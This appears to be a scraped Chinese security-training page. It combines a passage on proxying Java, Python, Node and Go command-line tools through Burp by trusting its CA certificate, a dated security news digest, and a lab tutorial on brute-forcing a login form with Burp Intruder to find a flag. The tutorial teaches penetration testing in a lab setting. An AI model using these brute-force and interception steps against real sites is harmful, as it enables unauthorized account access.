即使我的操作系统中信任了Burp证书,Java仍实际上使用其自己的密钥库。因此,我们还需要在其中添加Burp证书。 将证书添加到Java密钥库 默认密钥库位于$JAVA_HOME/lib/security/cacerts。如果您没有设置$JAVA_HOME环境变量,您也可以使用java命令快速找到它: java -XshowSettings:properties -version 2>&1 > /dev/null | grep 'java.home' java.home = /Users/RonnieFlathers/.sdkman/candidates/java/11.0.3-zulu 要将证书添加到Java的密钥库中,我们可以利用Java的keytool程序,该工具包含在$JAVA_HOME/bin/keytool中。要导入Burp证书,我们必须将PEM格式的文件导入到受信任的CA证书中: $JAVA_HOME/bin/keytool -import -alias burpsuite -keystore $JAVA_HOME/lib/security/cacerts -file $HOME/certs/burpca.crt -trustcacerts 这里提示您输入密钥库密码。默认情况下,值为changeit。然后指定“是”以信任证书: 现在有了Java信任的Burp证书,我们可以查看Burp中的HTTP流量:  例三 代理Python请求 下一个示例将介绍Python CLI。最近,我经常使用这个工具,因为之前我做了很多Azure自动化工作,并希望很好的使用zaure的cli来提高工作效率。不过,在示例中,我已经使用homebrew安装了Azure CLI,并已经完成了azure账号的登录。 我可以使用以下方法查看可用的资源组: $ az group list [ { "id": "/subscriptions/300b646c-f573-49d4-96d5-c01efe36c282/resourceGroups/ropnoptest", "location": "centralus", "managedBy": null, "name": "ropnoptest", "properties": { "provisioningState": "Succeeded" }, "tags": {}, "type": "Microsoft.Resources/resourceGroups" } ] 幸运的是,通过截取发出的请求,Python会使用 "正常 "的代理环境变量。然而当试图设置这些变量的时候,得到的结果却是SSL错误。 $ HTTPS_PROXY=http://localhost:8080 az group list request failed: Error occurred in request., SSLError: HTTPSConnectionPool........ 由于我的操作系统信任Burp CA,因此在测试Python的时候未使用它。 向python添加证书 Python 的 CA 证书处理有点奇怪。大多数的Python CLI可能会使用requests库,它会使用自己的CA bundle,然后也会查看另一个certifi库包含的CA bundle,但是它使用了Mozilla的bundle。为了信任我们的CA,我们可以将它添加到与certifi一起包含的Mozilla bundle中。 需要注意的是,Python解释器的版本也会影响试验结果, 所以如果你使用的是虚拟环境,你需要确保使用正确版本的Python运行以下命令。 首先,我想验证 az 如何调用 Python,以及它使用的是哪个版本。 $ head `which az` #!/usr/bin/env bash /usr/local/Cellar/azure-cli/2.0.74/libexec/bin/python -m azure.cli "$@" 因此,az它会调用自己内置的Python解释器,该解释器已在homebrew上安装。  首先,为了确定导入证书的位置,我们导入certifi并运行certifi.where()命令。 $ /usr/local/Cellar/azure-cli/2.0.74/libexec/bin/python -c "import certifi; print(certifi.where())" /usr/local/Cellar/azure-cli/2.0.74/libexec/lib/python3.7/site-packages/certifi/cacert.pem 该cacert.pem文件是PEM格式的所有受信任的CA证书列表。要添加Burp CA,我们只需将PEM附加到该文件中即可: cat ~/certs/burpca.pem >> /usr/local/Cellar/azure-cli/2.0.74/libexec/lib/python3.7/site-packages/certifi/cacert.pem 将Burp CA添加到Mozilla bundle中,我们现在就可以代理az命令了! $ HTTPS_PROXY=http://localhost:8080 az group list 现在我们想要运行的任何 az 命令都可以进行查看或者修改。 例四 代理Node js 在这个例子中,我希望能够代理到来自NPM包的流量,以便与https://zeit.co进行交互。 我已经使用如下命令行安装了工具。 npm i -g now@latest 登录后,我可以查看我当前的部署: 运行: $ HTTPS_PROXY=http://localhost:8080 now list 发现服务器返回了数据,Burp中并没有出现任何内容。看来,Node并不支持全局代理设置,但这并不意味着我们不能强行设置。   首先,我们来看看now命令调用了哪些内容: $ which now /Users/RonnieFlathers/.nvm/versions/node/v12.15.0/bin/now $ head -c100 `which now` #!/usr/bin/env node require('./sourcemap-register.js');module.exports=function(e,t){"use strict";var%  now程序是一个JS文件,位于Node的bin目录中,我们也可以直接用node调用那个文件来运行now命令。 $ node /Users/RonnieFlathers/.nvm/versions/node/v12.15.0/bin/now -v Now CLI 17.0.3 17.0.3 虽然node没有全局代理的支持,但是一个名为global-agent的项目解决了这个问题,它可以在Node项目中设置一个可配置的代理。要使用它,我们使用npm将它安装到我们当前的目录中。 $ mkdir nodeproxy $ cd nodproxy/ $ npm install global-agent  该模块使用了GLOBAL_AGENT_HTTP_PROXY环境变量,所以我们必须先使用命令设置环境变量,现在我们可以将项目注入到now包中。 $ export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8080 $ node -r 'global-agent/bootstrap' `which now` 现在要为Burp添加SSL证书。  为Node添加证书 这其实比Python简单不少。Node命令的一个环境变量,叫做NODE_EXTRA_CA_CERTS。如果要把我们的Burp证书加载为可信的,我们只要把这个环境变量导出,然后指向Burp的PEM文件就可以了。 export NODE_EXTRA_CA_CERTS=$HOME/certs/burpca.crt export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8080 node -r 'global-agent/bootstrap' `which now` 现在可以用了! 我们可以在Burp中查看now包的流量。 例五 代理Go程序 越来越多开发者开始将静态的Go二进制文件以CLI形式发布。因为Go是一门很优秀的语言。Go设置代理非常简单,因为每个Go程序都能使用环境变量http_proxy和https_proxy。 在这个例子中,我将代理Github的hub工具(对于命令行用户,GitHub提供了名为`hub命令行工具,对Git进行了简单的封装。该项目在GitHub上的地址为: https://github.com/defunkt/hub )。下载并安装了hub后,在Git repo中,我可以像这样检查看我当前的CI状态。 $ hub ci-status success 由于hub是一个Go语言开发的二进制程序,所以我只需要设置代理的参数即可。 $ https_proxy=127.0.0.1:8080 hub ci-status Error fetching statuses: Get https://api.github.com/repos/ropnop/blog.ropnop.com/commits/89c7759ac344d5a412dc63ce3f053fc3f06d09a0/status: x509: certificate signed by unknown authority  而这里我们得到一个SSL错误的返回结果。  设置GO的信任证书 不幸的是,Go没有提供任何渠道来设置信任外界的CA证书。对于每个平台,Go都会在操作系统上寻找受信任的CA证书。 这时,你必须将Burp证书添加到你的系统的密钥链中。之后,Go就会检查到它,你就可以代理Go语言的二进制文件了。 $ https_proxy=127.0.0.1:8080 hub ci-status success 总结 希望这些内容对你能有帮助。Python、Node和Go囊括了我使用的绝大多数CLI工具,当然还有其他工具。无论你是在对一个应用或CLI进行渗透测试,还是只是在开发中想进行调试,学会拦截HTTP流量并对其进行分析真的很重要。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年02月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Brave 浏览器泄露了用户访问的union url地址给DNS提供商 https://securityaffairs.co/wordpress/114793/deep-web/privacy-bug-brave-browser.html 2、MassLogger 木马变体窃取Outlook,Chrome等凭据 https://securityaffairs.co/wordpress/114783/malware/masslogger-trojan.html 3、黑客利用Google Apps Script窃取用户支付卡信息 https://securityaffairs.co/wordpress/114750/cyber-crime/googles-apps-script-magecart.html 4、缅甸多个政府机构网站遭受黑客攻击 https://www.securityweek.com/hackers-target-myanmar-government-websites-coup-protest 5、欧洲互联网注册中心遭受了凭证填充攻击 https://cybernews.com/news/internet-registry-for-europe-experienced-a-credential-stuffing-attack-claims-it-was-unsuccessful/ 6、NIST数据表明2020年的安全漏洞数量激增创历史新高 https://cyware.com/news/highest-number-of-vulnerabilities-disclosure-reported-in-2020-65eeaf96 7、研究人员报告icloud.com XSS漏洞获$5000奖励 https://www.securityweek.com/stored-xss-vulnerability-icloudcom-earned-researcher-5000 8、苹果为iMessage增加了“ BlastDoor”安全功能 https://www.reuters.com/article/us-apple-cyber/apple-adds-blastdoor-security-feature-to-fight-imessage-hacks-idUSKBN2AI2UJ 9、研究人员发现Microsoft IE零日漏洞 https://threatpost.com/exploit-details-unpatched-microsoft-bug/164083/ 10、研究人员发现Gaper应用程序存在严重漏洞 https://portswigger.net/daily-swig/security-researchers-warn-of-critical-zero-day-flaws-in-age-gap-dating-app-gaper
使用Burp进行暴力破解
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>> 通过该实验掌握burp的配置方法和相关模块的使用方法,对一个网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免网络安全问题的发生,以此加强网站安全防护 使用了burp的结构如下图所示。 操作环境如下图所示: 实战步骤一:Burp配置 我们了解到,burp在浏览器(客户端)是以代理的方式存在。因此,如果想要我们发送的包被burp截断,就需要双方协商好一个监听端口。 首先,双击打开桌面的burp进入主界面。 1. 设置burp监听端口: 选择proxy(代理),进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。 当然,你完全可以自拟一个新的监听端口,在左侧点击ADD即可设置 配置浏览器的代理项。 这里以系统自带的ie为例(chrome和firefox用户可以使用代理插件进行设置) 使用win+R键打开命令窗口,输入inetcpl.cpl进入ie设置。 在连接选项卡中,选择局域网设置 输入我们为burp指定的监听端口号 这时候,我们就建立了基本配置。 测试: 在burp中打开intercept is on. 用浏览器访问:10.1.1.163/crack,我们会在burp中看到 这表明我们已经成功的截获了来自浏览器的请求。 点击forward就可以把这个请求发送给服务器,服务器会将结果返回给浏览器中,并将响应在burp中记录下来。Drop会将这个包丢掉,即不会发送到服务器端。 实战步骤二:burp中的compare功能操作 compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。 首先,我们添加一条请求到compare模块去。 在已经截取的数据包上面右键,选择send to comparer 这时候,我们会看到在comparer模块,上下两个界面中同时多出来了一条记录。 使用同样的方法,我们在为comparer模块添加另外的一条记录。 我们打算使用1和2进行对比,在两个视图中选择1和2(顺序无所谓),然后点击右下角的compare word(bytes是指文件按照字节流来进行比对)。 从图中我们可以看到,窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比, 哪些是添加的,哪些是修改的,哪些是删除的。非常直观。 实战步骤三:burp中的repeat功能操作 有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里,我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。 进入到repeater之后,点击go按钮,右侧就会返回服务器的响应。 Go的次数没有限制,点击多少次go,burp就会把当前的请求页向服务器发送多少次。 使用repeater的目的是进行重放攻击测试,看服务器是否会对重放测试做出反应。 实战步骤四:burp中的intruder功能操作 Intruder功能是burp非常重要的功能,也是暴力破解中使用最频繁的功能。 在已经截获的请求页上右键,选择send to intruder。 进入intruder模块。我们会看到四个选项卡,分别是target,positions,payloads,options. Target主要是设置暴力破解访问的host地址和对应的端口号 Positions设置是选择我们要暴力破解的位置。在默认情况下,burp会自动将所有的变量都勾选上。实际操作中,我们往往是针对单一点,选择clear$,此时所有默认的爆破点都已消失。 用鼠标选中需要暴力破解的变量的值。然后右侧选择add$,这样我们就添加了一个爆破点,这个爆破点的payload位置是在两个$之间的部分。 Payloads设置 选择怎样的字典或者payload,是这个模块要做的事情。Payload type 下拉列表框为我们提供了常用的payload 类型,视情况选择即可。 如果你有合适的字典,在选择了payload type为simple list后,接下来你就可以在payload options中选择你要加载的字典文件,点击load即可。 有时候我们需要对payload进行二次处理,比如md5加密啊,base64加密啊之类的,burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。 点击add,在弹出的窗口中就可以根据需要选择了。 Options中有关于其他细节的设置,比如攻击时使用的线程数,关于攻击的一些存储设置之类。这里就不再赘述。 实战步骤五:使用burp暴力破解网站 访问10.1.1.163/crack/,这是一个登录界面。 使用登录账号密码,完成表单后提交。这时候burp会截取我们的请求。 在该请求页上右键选择send to repeater.我们来进行重放测试。点击go,右侧返回服务器的响应。多次go之后发现,服务器返回的长度和内容都没有发生变化,都会提示sorry 也就是说,服务器对多次测试并没有加以限制,因此我们可以使用暴力破解了。 为了再次验证,我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。(在proxy中选择子选项卡HTTP History,选择方法为post的两个历史记录,点击每一条post记录,下方会看到不同的post数据时,这应该就是我们的两次不同密码的请求记录,右键选择send to comparer(response)) 从图中我们可以发现,经过对两次不同的请求返回结果进行对比,burp为我们在左上角标出了2项不同,但都是体现在时间上,其余都相同。所以可以使用暴力破解。 进入到intruder之后,先点击clear,然后选中我们刚才填写的pas字段值,点击add。这样,就确定了爆破点是pas位置。 打开payload选项卡,payload type选择数字。 选择数字之后,我们填写数字范围。因为是已经暗示了密码范围,所以我们选择50到100.顺序生成,每步加1(step设置) 开始攻击。 进入攻击测试界面,我们重点关注payload和length,这里的length表示的是服务器的响应长度。 从理论上来分析,登陆成功和登陆失败,返回的长度应该不同,这能方便我们找出正确密码。右下角的进度条显示了我们的进度。 一段时间过后,我们测试结束(请大家耐心等待,实际上在实体机上测试非常快)。这时候在length上双击,可以对length排序。 我们发现,在测试的50个payload中,payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。 在payload为69的request上双击,进入后选择response。 浏览response,直到发现 Yes,you catch the flag。 我们的目的通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页